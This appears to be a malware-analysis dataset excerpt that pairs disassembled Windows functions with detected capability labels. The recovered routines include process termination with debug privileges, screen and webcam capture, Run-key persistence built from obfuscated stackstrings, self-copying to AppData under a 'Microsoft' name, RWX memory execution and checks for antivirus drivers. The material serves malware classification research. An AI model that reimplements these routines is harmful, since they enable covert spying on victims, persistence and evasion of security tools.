joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408d40
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x168]
push esi
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x408e58
mov ecx, 0x41
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
xor esi, esi
push eax
push 0xf003f
push esi
push str.Applicationsiexplore.exe_shellopencommand
push connect
mov dword [esp + 0x24], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408e58
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x68]
push ecx
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x408e58
lea eax, [esp + 0x68]
push 0x415b6c
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
cmp eax, esi
je 0x408e58
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x174]
mov dword [esp + 0x14], 0x44
cmp eax, esi
je 0x408e17
mov dword [esp + 0x1c], str.WinSta0Default
jmp 0x408e39
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x40], 1
mov word [esp + 0x44], si
mov word [esp + 0x46], si
mov dword [esp + 0x48], esi
lea ecx, [esp + 0x58]
lea edx, [esp + 0x14]
push ecx
push edx
push esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0x84]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x160
ret
Function at 0x408e70
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x158
and eax, 0xffff
dec eax
push ebx
cmp eax, 0xa1
push edi
ja case.0x408e95.5
xor ecx, ecx
mov cl, byte [eax + 0x409030]
jmp dword [ecx*4 + 0x40901c]
mov edx, dword [esp + 0x164]
push 5
push edx
call fcn.00408d40
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
mov eax, dword [esp + 0x164]
push 0
push eax
call fcn.00408d40
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push 0x41591c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x60]
push ecx
stosb byte es:[edi], al
call fcn.00406f60
mov eax, dword [esp + 0x16c]
lea edx, [esp + 0x64]
push edx
push eax
call fcn.00406fc0
lea ecx, [esp + 0x6c]
push ecx
call fcn.004071c0
add esp, 0x14
test eax, eax
je case.0x408e95.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0x44
mov dword [esp + 0x18], str.WinSta0Default
call esi
add esp, 4
lea edx, [esp + 0x50]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x60]
push edx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x30
call esi
add esp, 4
pop esi
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x41591c
push edx
stosb byte es:[edi], al
call fcn.00406f60
mov ecx, dword [esp + 0x16c]
lea eax, [esp + 0x64]
push eax
push ecx
call fcn.00406fc0
lea edx, [esp + 0x6c]
push edx
call fcn.004071c0
add esp, 0x14
test eax, eax
je case.0x408e95.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop ebx
add esp, 0x158
ret
Function at 0x4095c0
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x418
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push ebp
push esi
push 0x30
call ebx
add esp, 4
lea eax, [esp + 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0x30
call ebx
push 0x30
mov dword [esp + 0x24], 1
call ebx
add esp, 8
lea ecx, [esp + 0x20]
xor ebp, ebp
push ecx
push str.SeDebugPrivilege
push ebp
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0x30
call ebx
push 0x30
mov dword [esp + 0x30], 2
call ebx
mov eax, dword [esp + 0x20]
add esp, 8
lea edx, [esp + 0x1c]
push ebp
push ebp
push 0x10
push edx
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x30
call ebx
add esp, 4
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, ebp
mov dword [esp + 0x14], esi
jne 0x40966b
mov eax, dword [esp + 0x42c]
pop esi
mov dword [eax + 4], ebp
pop ebp
mov dword [eax], 0x25000004
pop ebx
add esp, 0x418
ret
push edi
push 0x30
mov dword [esp + 0xe0], 0x128
mov dword [esp + 0x208], 0x224
mov dword [esp + 0x14], ebp
call ebx
add esp, 4
lea ecx, [esp + 0xdc]
push ecx
push esi
call sub.KERNEL32.dll_Process32First
push 0x30
mov edi, eax
call ebx
add esp, 4
cmp edi, ebp
je 0x4097bc
mov edx, dword [esp + 0x42c]
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
mov dword [esp + 0x14], edx
push 0x30
call ebx
mov eax, dword [esp + 0xe8]
add esp, 4
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov esi, eax
call ebx
add esp, 4
lea ecx, [esp + 0x204]
push ecx
push esi
call sub.KERNEL32.dll_Module32First
push 0x30
call ebx
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call ebx
mov edx, dword [esp + 0xe8]
add esp, 4
xor eax, eax
mov ecx, 0x2b
lea edi, [esp + 0x30]
push edx
push eax
push 0x400
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x30
mov esi, eax
call ebx
push 0x30
call ebx
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xf8]
add esp, 8
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [esp + 0x38], eax
lea edx, [esp + 0x100]
push 0x20
lea eax, [esp + 0x40]
push edx
push eax
call ebp
lea ecx, [esp + 0x330]
push 0x80
lea edx, [esp + 0x6c]
push ecx
push edx
call ebp
mov eax, dword [esp + 0x2c]
mov ecx, 0x2b
lea esi, [esp + 0x48]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x28]
add eax, 0xac
add ecx, 0xac
add esp, 0x18
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xdc]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4096bd
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x430]
mov edx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov dword [eax], 0
mov dword [eax + 4], edx
pop ebx
add esp, 0x418
ret
Function at 0x4097f0
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push esi
push edi
push 0x30
call ebx
mov esi, dword [esp + 0x18]
add esp, 4
mov eax, dword [esi + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x30
mov edi, eax
call ebx
add esp, 4
test edi, edi
jne 0x40982f
mov dword [esi + 4], edi
mov dword [esi], 0x25000005
pop edi
pop esi
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x409849
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
mov dword [esi + 4], 0
pop edi
pop esi
pop ebx
ret

Function at 0x409a50
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00409ac0
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0xc]
shr ecx, 2
test eax, eax
jne 0x409a81
test ecx, ecx
jle 0x409ab6
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edx, dword [edx + eax*4]
mov dword [edi + eax*4], edx
inc eax
cmp eax, ecx
jl 0x409a6b
pop edi
pop esi
ret 4
jbe 0x409ab6
xor eax, eax
test ecx, ecx
jle 0x409ab6
push ebx
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edi, dword [edi + eax*4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
xor ebx, edi
mov dword [edx], ebx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
mov edi, dword [edi + eax*4]
xor ebx, edi
inc eax
cmp eax, ecx
mov dword [edx], ebx
jl 0x409a8a
pop ebx
pop edi
pop esi
ret 4
Function at 0x409ac0
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x34
push ebx
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push esi
push edi
mov ebx, ecx
push 0x30
call ebp
add esp, 4
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, eax
push 0x30
mov dword [esp + 0x1c], esi
call ebp
add esp, 4
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
push 0x30
mov dword [esp + 0x18], edi
call ebp
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
add esp, 4
push eax
push ecx
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0x30
mov dword [esp + 0x14], eax
call ebp
mov edx, dword [esp + 0x14]
add esp, 4
push edx
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x30
call ebp
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
add esp, 4
push 0xcc0020
push 0
push 0
push esi
push eax
push ecx
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x30
call ebp
mov eax, dword [ebx + 0x18]
mov cx, word [ebx + 0x1c]
mov edx, dword [ebx + 0x14]
add esp, 4
mov dword [esp + 0x24], eax
xor eax, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
mov word [esp + 0x2a], cx
mov ecx, 0xa
lea esi, [esp + 0x1c]
mov edi, eax
mov dword [esp + 0x1c], 0x28
mov dword [esp + 0x20], edx
mov word [esp + 0x28], 1
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebx + 0x10]
push 0
push eax
mov eax, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
add edx, eax
mov eax, dword [ebx + 0x18]
push edx
push eax
push 0
push edi
push esi
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0x30
call ebp
add esp, 4
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push 0x30
call ebp
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call esi
push 0x30
call ebp
add esp, 4
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0x30
call ebp
push 0x30
call ebp
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret
Function at 0x409cf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
xor ebx, ebx
push esi
push ebx
mov esi, ecx
push ebx
push ebx
push ebx
mov dword [esi], 0x40fed8
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.00409f20
test al, al
je 0x409db7
cmp byte [0x426424], bl
jne 0x409db7
push ebx
push ebx
mov al, 0x37
push ebx
push ebx
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], al
push ebx
mov al, 0x43
push ebx
push ebx
mov byte [esp + 0x2c], al
mov byte [esp + 0x32], al
push ebx
push connect
lea eax, [esp + 0x2c]
push 0x415d30
push eax
push ebx
mov byte [esp + 0x38], 0x23
mov byte [esp + 0x39], 0x33
mov byte [esp + 0x3a], 0x32
mov byte [esp + 0x3d], 0x30
mov byte [esp + 0x3e], bl
mov byte [esp + 0x41], 0x56
mov byte [esp + 0x42], 0x69
mov byte [esp + 0x43], 0x64
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x6f
mov byte [esp + 0x47], 0x61
mov byte [esp + 0x48], 0x70
mov byte [esp + 0x49], bl
call dword [sym.imp.USER32.dll_CreateWindowExA]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x28]
push 0x50000000
push ecx
mov dword [esi + 0x10], eax
call sub.aVICAP32.dll_capCreateCaptureWindowA
mov dword [esi + 0x14], eax
mov eax, esi
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x10001000
Capabilities:
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
jmp 0x10005bf0
sbb al, 0x8d
xor al, 0x3f
add esp, 4
lea ecx, [esp + 0xd0]
push esi
call fcn.10005e20
add esp, 4
lea eax, [edi*8]
mov edi, dword [esp + 0xc]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push edi
push 0x40000001
push esi
push dword [esp + 0x28]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x10005c36
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push edi
call ebx
push 0x40
push 0x3000
lea esi, [eax + 2]
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push edi
mov dword [esp + 0x14], eax
call ebx
lea ecx, [eax + 1]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10005c66
mov dword [esp + 0x14], eax
cmp ecx, esi
jb 0x10005c6e
mov dword [esp + 0x14], 0
push edi
xor esi, esi
call ebx
test eax, eax
je 0x10005c9e
mov ecx, dword [esp + 0x14]
mov dword [esp + 0xc], ecx
nop
mov al, byte [esi + edi]
cmp al, 0xa
je 0x10005c92
cmp al, 0xd
je 0x10005c92
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x10005c80
mov esi, dword [esp + 0x14]
push esi
call ebx
push eax
push dword [esp + 0x1c]
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
push 1
lea edx, [esp + 0x10]
mov dword [esp + 0x10], 0
mov ecx, esi
call fcn.100054a0
add esp, 4
test eax, eax
jne 0x10005d07
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0x8000
push eax
mov eax, dword [esp + 0x18]
push eax
call ebx
push 0x8000
push 0
push dword [esp + 0x24]
call ebx
push 0x8000
push 0
push dword [esp + 0x28]
call ebx
xor esi, esi
jmp 0x10005d4f
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x10005d14
mov eax, dword [ebp + 0x10]
mov dword [eax], ecx
mov eax, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0x8000
push 0
push eax
call ebx
push 0x8000
push 0
push dword [esp + 0x24]
call ebx
push 0x8000
push 0
push dword [esp + 0x28]
call ebx
jmp 0x10005d4a
mov esi, 1
push 0x8000
push 0
push dword [esp + 0x34]
call ebx
lea ecx, [esp + 0x40]
call fcn.10007c10
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
mov ebx, edx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
xor esi, esi
cmp edi, 0xffffffff
je 0x1000287f
test ebx, ebx
je 0x10002873
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x10002878
mov esi, 1
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002890
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100028f9
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 4], eax
call fcn.10003030
neg eax
sbb esi, esi
and esi, 3
inc esi
call fcn.10003030
neg eax
push ebx
sbb eax, eax
push ebx
and eax, 0xfffffffa
push ebx
add eax, 8
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x10002902
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x10002948
call fcn.10003030
test eax, eax
jne 0x1000292e
push ecx
lea ecx, [esi + 0x53]
lea edx, [eax + 6]
call fcn.100082a0
add esp, 4
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, esi
call fcn.10002830
add esp, 8
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002960
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x1c], 0x520050
mov ecx, 0x41
mov dword [ebp - 0x18], 0x440049
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x520055
push eax
mov dword [ebp - 0x10], 0x530041
mov dword [ebp - 0xc], 0x4b0048
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.10008150
add esp, 4
mov dword [ebp - 0x88], 0x4f0053
lea eax, [ebp - 4]
mov dword [ebp - 0x84], 0x540046
mov dword [ebp - 0x80], 0x410057
mov dword [ebp - 0x7c], 0x450052
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x88]
mov dword [ebp - 0x78], 0x4d005c
push eax
push 0x80000001
mov dword [ebp - 0x74], 0x630069
mov dword [ebp - 0x70], 0x6f0072
mov dword [ebp - 0x6c], 0x6f0073
mov dword [ebp - 0x68], 0x740066
mov dword [ebp - 0x64], 0x57005c
mov dword [ebp - 0x60], 0x6e0069
mov dword [ebp - 0x5c], 0x6f0064
mov dword [ebp - 0x58], 0x730077
mov dword [ebp - 0x54], 0x43005c
mov dword [ebp - 0x50], 0x720075
mov dword [ebp - 0x4c], 0x650072
mov dword [ebp - 0x48], 0x74006e
mov dword [ebp - 0x44], 0x650056
mov dword [ebp - 0x40], 0x730072
mov dword [ebp - 0x3c], 0x6f0069
mov dword [ebp - 0x38], 0x5c006e
mov dword [ebp - 0x34], 0x750052
mov dword [ebp - 0x30], 0x4f006e
mov dword [ebp - 0x2c], 0x63006e
mov dword [ebp - 0x28], 0x65
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10002ac0
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
add eax, eax
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x800
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [esp + 0x14], eax
mov edi, eax
mov dword [esp + 0xc], 0
test eax, eax
je 0x10002b1c
lea edi, [eax + 0x202]
mov dword [esp + 0xc], 0x404
mov ebx, edi
mov esi, eax
add edi, 0x202
jmp 0x10002b20
xor esi, esi
xor ebx, ebx
push 0x100
push esi
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push ebx
push 0x100
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.10008090
test eax, eax
je 0x10002b53
mov ecx, esi
jmp 0x10002c40
xor eax, eax
mov dword [esp + 0x18], 0x520050
mov ecx, 0x52
mov word [esp + 0x24], ax
push ecx
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0x440049
push eax
mov dword [esp + 0x28], 0x520055
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.10008150
add esp, 4
push 0x100
push ebx
push str.AppData
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.10008090
test eax, eax
je 0x10002bd8
mov eax, dword [sym.imp.KERNEL32.DLL_lstrlenW]
push esi
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0x10002bd3
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0x10002bd5
xor edi, edi
push esi
jmp 0x10002c2f
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push str.Microsoft_
push ebx
call esi
lea eax, [esp + 0x18]
push eax
push ebx
call esi
push str..exe
push ebx
call esi
push ecx
mov ecx, dword [esp + 0x14]
mov edx, ebx
call fcn.10002890
add esp, 4
test eax, eax
je 0x10002c45
mov eax, dword [sym.imp.KERNEL32.DLL_lstrlenW]
push ebx
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0x10002c2c
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0x10002c2e
xor edi, edi
push ebx
push str.__s_
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, edi
add esp, 0xc
call fcn.10002960
push 0
call dword [sym.imp.KERNEL32.DLL_ExitThread]
Function at 0x10002f50
Capabilities:
Enumerate device drivers on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push esi
mov esi, dword [sym.imp.PSAPI.DLL_EnumDeviceDrivers]
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 4], 0
call esi
mov eax, dword [ebp - 4]
test eax, eax
jne 0x10002f82
pop esi
mov esp, ebp
pop ebp
ret
push edi
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x10002f9f
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edi
call esi
test eax, eax
je 0x10002ff2
mov ebx, dword [ebp - 4]
xor esi, esi
shr ebx, 2
test ebx, ebx
jle 0x10002ff2
lea ebx, [ebx]
push 0x400
lea eax, [ebp - 0x80c]
push eax
push dword [edi + esi*4]
call dword [sym.imp.PSAPI.DLL_GetDeviceDriverBaseNameW]
test eax, eax
je 0x10002fed
push dword [ebp - 0xc]
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x10003009
inc esi
cmp esi, ebx
jl 0x10002fc0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10003030
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x24], 0x6c006b
push edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], 0x660069
mov dword [ebp - 0x1c], 0x73002e
mov dword [ebp - 0x18], 0x730079
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], 0x6c006b
mov dword [ebp - 0xc], 0x2e0031
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
call fcn.10002f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10003096
lea ecx, [ebp - 0x10]
call fcn.10002f50
test eax, eax
jne 0x10003096
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret